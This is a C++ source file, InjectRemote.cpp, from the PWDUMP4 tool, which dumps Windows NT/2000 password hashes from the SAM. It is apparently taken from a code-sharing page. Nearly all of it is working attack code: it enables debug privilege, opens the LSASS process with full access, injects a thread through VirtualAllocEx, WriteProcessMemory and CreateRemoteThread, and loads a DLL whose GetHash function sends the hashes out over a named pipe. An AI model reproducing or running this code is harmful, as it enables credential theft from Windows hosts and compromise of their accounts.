📄 injectremote.cpp
字号:
/***************************************************************************
* Program: PWDUMP4 - dump winnt/2000 user/password hash remote or local for crack
*
* Copyright (c) 2002, 2003 bingle, all rights reserved
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Author: bingle@email.com.cn
* File: InjectRemote.cpp
* Purpose: inject a remote thread for dump the password hashes from the NT SAM.
* Date: 2002-1-20
*
***************************************************************************/
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include "PwDump4.h"
typedef HINSTANCE (WINAPI *pLoadLibFunc)( char* );
typedef HINSTANCE (WINAPI *pGetProcAddrFunc)( HINSTANCE, char* );
typedef HINSTANCE (WINAPI *pFreeLibFunc)( HINSTANCE );
typedef int (*pGetHashFunc)( unsigned, unsigned, unsigned );
typedef void (*pVoidFunc)( void );
typedef struct ThreadData
{
#ifdef _DEBUG
pVoidFunc pDebugBreak;
#endif
pLoadLibFunc pLoadLibrary;
pGetProcAddrFunc pGetProcAddress;
pFreeLibFunc pFreeLibrary;
unsigned long magic;
unsigned long pid, hid;
char szFuncName[12];
//char szPipeName[16];
char szDllName[4];/* the dll full path may vary from 12 --> 260
so we not allocate at largest, the actrual size of ThreadData is dynamic
after var, there is a dummy array for overflow */
}ThreadData;
//RemoteThreadFunc return status:
char *remoteReturnString[] = {
"",
"(ERROR_LOAD_LSADLL) load PwDump4.dll failed, maybe lsass.exe cannot access PwDump4.dll",
"(ERROR_LOAD_HASHFUNC) load function GetHash() in PwDump4.dll failed, maybe incorrect dll version",
"(ERROR_INVALID_PARAM) will not occur this, if so, tell me",
"(ERROR_DUP_PIPE) duplicate pipe handle for transfer data in PwDump4.dll failed.",
"(ERROR_NO_CONNECT) process lsass.exe cannot open sam database.",
"(ERROR_LOAD_SAMDLL) load system dll samsrv.dll failed.",
"(ERROR_LOAD_SAMFUNC) not all function samsrv.dll can be load.",
"(ERROR_OPEN_PROCESS) process lsass.exe cannot open process pwdump4.exe to duplicate handle"
};
/* This is the function used to load the dll in lsass
must disable /GZ,
The /GZ option does the following:
Auto-initialization of local variables
Function pointer call stack validation
Call stack validation
*/
static DWORD __stdcall RemoteThreadFunc( struct ThreadData* pData )
{
HINSTANCE hDll;
pGetHashFunc pGetHash;
int rc = ERROR_LOAD_LSADLL;
#ifdef _DEBUG
//pData->pDebugBreak(); // for debug the service
#endif
hDll = pData->pLoadLibrary( pData->szDllName );
if( hDll )
{
rc = ERROR_LOAD_HASHFUNC;
pGetHash = (pGetHashFunc)pData->pGetProcAddress( hDll, pData->szFuncName );
if( pGetHash )/* 0 if failed, 1 if ok */
rc = pGetHash( pData->pid, pData->hid, pData->magic );
pData->pFreeLibrary( hDll );
}
return rc;
}
// Dummy function used to get the address after RemoteThreadFunc
static void DummyFunc( )
{
return;
}
//global pipe handle for transfer data
extern HANDLE hPipe;
int SendText( char *lpFmt, ... );
//inject dll into remote process hProc
void InjectDll( HANDLE hProc, unsigned magic )
{
// Determine amount of memory to allocate
DWORD dwFuncSize = (DWORD)DummyFunc - (DWORD)RemoteThreadFunc;
DWORD dwBytesToAlloc, dwStructSize;
char szBuffer[MAX_PATH];
char dummy[ MAX_PATH ];//used for overflow
ThreadData rtData;
void* pRemoteAlloc = NULL;
HINSTANCE hKernel32;
DWORD dwBytesWritten;
HANDLE hRemoteThread = 0;
int trc = NO_ERROR;
DWORD dwIgnored;
strncpy( rtData.szFuncName, "GetHash", sizeof(rtData.szFuncName) );
GetModuleFileName( NULL, szBuffer, sizeof(szBuffer) );
strcpy( strrchr(szBuffer, '\\')+1, exeName );
strcat( szBuffer, ".dll" );
strcpy( rtData.szDllName, szBuffer );
// Prepare the info to send across
hKernel32 = LoadLibrary( "Kernel32" );
#ifdef _DEBUG
rtData.pDebugBreak = (pVoidFunc)GetProcAddress( hKernel32, "DebugBreak" );
#endif
rtData.pLoadLibrary = (pLoadLibFunc)GetProcAddress( hKernel32, "LoadLibraryA" );
rtData.pGetProcAddress = ( pGetProcAddrFunc)GetProcAddress( hKernel32, "GetProcAddress" );
rtData.pFreeLibrary = (pFreeLibFunc)GetProcAddress( hKernel32, "FreeLibrary" );
rtData.magic = magic;
rtData.pid = GetCurrentProcessId();
rtData.hid = (DWORD)hPipe;
dwFuncSize = ( (dwFuncSize>>2) + 1 ) << 2;
dwStructSize = sizeof(ThreadData) + strlen(rtData.szDllName);
dwStructSize = ( (dwStructSize>>2) + 1 ) << 2;
dwBytesToAlloc = dwFuncSize + dwStructSize;
// Allocate memory in remote proc
pRemoteAlloc = VirtualAllocEx( hProc, NULL, dwBytesToAlloc, MEM_COMMIT, PAGE_READWRITE );
if( pRemoteAlloc == NULL )
{
SendText( "Status: VirtualAllocEx in lsass failed: %d\n", GetLastError() );
return;
}
// Write data to the proc
if( !WriteProcessMemory( hProc, pRemoteAlloc, &rtData, dwStructSize, &dwBytesWritten ) )
{
SendText( "Status: WriteProcessMemory in lsass failed: %d\n", GetLastError() );
goto exit;
}
// Write code to the proc
if( !WriteProcessMemory( hProc, (PBYTE)pRemoteAlloc + dwStructSize,
(LPVOID)(DWORD)RemoteThreadFunc, dwFuncSize, &dwBytesWritten ) )
{
SendText( "Status: WriteProcessMemory failed: %d\n", GetLastError() );
goto exit;
}
// Create the remote thread
hRemoteThread = CreateRemoteThread( hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((PBYTE)pRemoteAlloc + dwStructSize),
pRemoteAlloc, 0, &dwIgnored );
if( !hRemoteThread )
{
SendText( "Status: CreateRemoteThread failed: %d\n", GetLastError() );
goto exit;
}
// Wait for the thread to finish
WaitForSingleObject( hRemoteThread, INFINITE );
if(!GetExitCodeThread( hRemoteThread, (DWORD*)&trc ))
SendText( "Status: GetExitCodeThread failed: %d, ignore.", GetLastError() );
if( trc != NO_ERROR )
SendText( "Thread code: dump thread return %d.\n %s\n", trc, (trc < 0 && trc >= ERROR_LAST_ERROR) ? remoteReturnString[-trc] : "");
exit:
//clean up
if( hRemoteThread ) CloseHandle( hRemoteThread );
VirtualFreeEx( hProc, pRemoteAlloc, 0, MEM_RELEASE );
}
//prepare for inject into remote process, setup pipe for transfer data
HANDLE PrepareInject( char *pipe, int mode )
{
DWORD dwPid = 0;
HANDLE hLsassProc = NULL, hThread;
unsigned long majorVer, ret;
char buf[256];
// create pipe for status info
BindParams param;
param.pipe = pipe;
param.type = MESSAGE_PIPE;
param.phPipe = &hPipe;
hThread = (HANDLE)_beginthreadex( NULL, 0, thBindPipe, ¶m, 0, NULL);
if( hThread == INVALID_HANDLE )
{
if( RUN_REMOTELY == mode ) DebugOutput( "_beginthreadex failed when create pipe, error:%u\n", GetLastError() );
else fprintf( stderr, "_beginthreadex failed when create pipe, error:%u\n", GetLastError() );
goto exit;
}
ret = WaitForSingleObject( hThread, 20000 );
if( WAIT_FAILED == ret || WAIT_TIMEOUT == ret )
{
if( RUN_REMOTELY == mode ) DebugOutput( "WaitFor client connect failed, error:%u\n", GetLastError() );
else fprintf( stderr, "WaitFor client connect failed, error:%u\n", GetLastError() );
goto exit;
}
if( GetExitCodeThread( hThread, &ret ) )
if( NO_ERROR != ret )
{
if( RUN_REMOTELY == mode ) DebugOutput( "Create Listen Pipe failed, error:%u\n", ret );
else fprintf( stderr, "Create Listen Pipe failed, error:%u\n", ret );
goto exit;
}
// get version info
OSVERSIONINFOEX vinfo;
majorVer = GetVersion() & 0xff;
vinfo.dwOSVersionInfoSize = majorVer >= 5 ? sizeof(OSVERSIONINFOEX) : sizeof(OSVERSIONINFO);
GetVersionEx( (OSVERSIONINFO*)&vinfo );
sprintf( buf, "OS Ver %d.%d, %s", vinfo.dwMajorVersion, vinfo.dwMinorVersion, vinfo.szCSDVersion );
if( majorVer >= 5 )
{
DWORD suite = vinfo.wSuiteMask;
if( vinfo.wProductType == VER_NT_WORKSTATION )
strcat( buf, ", Workstation" );
else if( vinfo.wProductType == VER_NT_SERVER )
strcat( buf, ", Server" );
else if( vinfo.wProductType == VER_NT_DOMAIN_CONTROLLER )
strcat( buf, ", Domain Controller" );
if( suite & VER_SUITE_BACKOFFICE ) strcat( buf, "Backoffice " );
if( suite & VER_SUITE_DATACENTER ) strcat( buf, "Data Center " );
if( suite & VER_SUITE_ENTERPRISE ) strcat( buf, "Enterprise " );
if( suite & VER_SUITE_SMALLBUSINESS ) strcat( buf, "Small Business " );
if( suite & VER_SUITE_SMALLBUSINESS_RESTRICTED ) strcat( buf, "SB Restricted " );
if( suite & VER_SUITE_TERMINAL ) strcat( buf, "Terminal " );
}
SendText( "Version: %s\n", buf );
// Enable the debug privilege
if( SetDebugPrivilege() != 0 )
goto exit;
// Get the LSASS pid
dwPid = GetLsassPid();
if( !dwPid )
{
SendText( "Status: Couldn't find LSASS pid\n" );
goto exit;
}
// Open lsass
hLsassProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwPid );
if( hLsassProc == 0 )
{
SendText( "Status: Open lsass process failed: %d, pid %d", GetLastError(), dwPid );
goto exit;
}
exit:
return hLsassProc;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -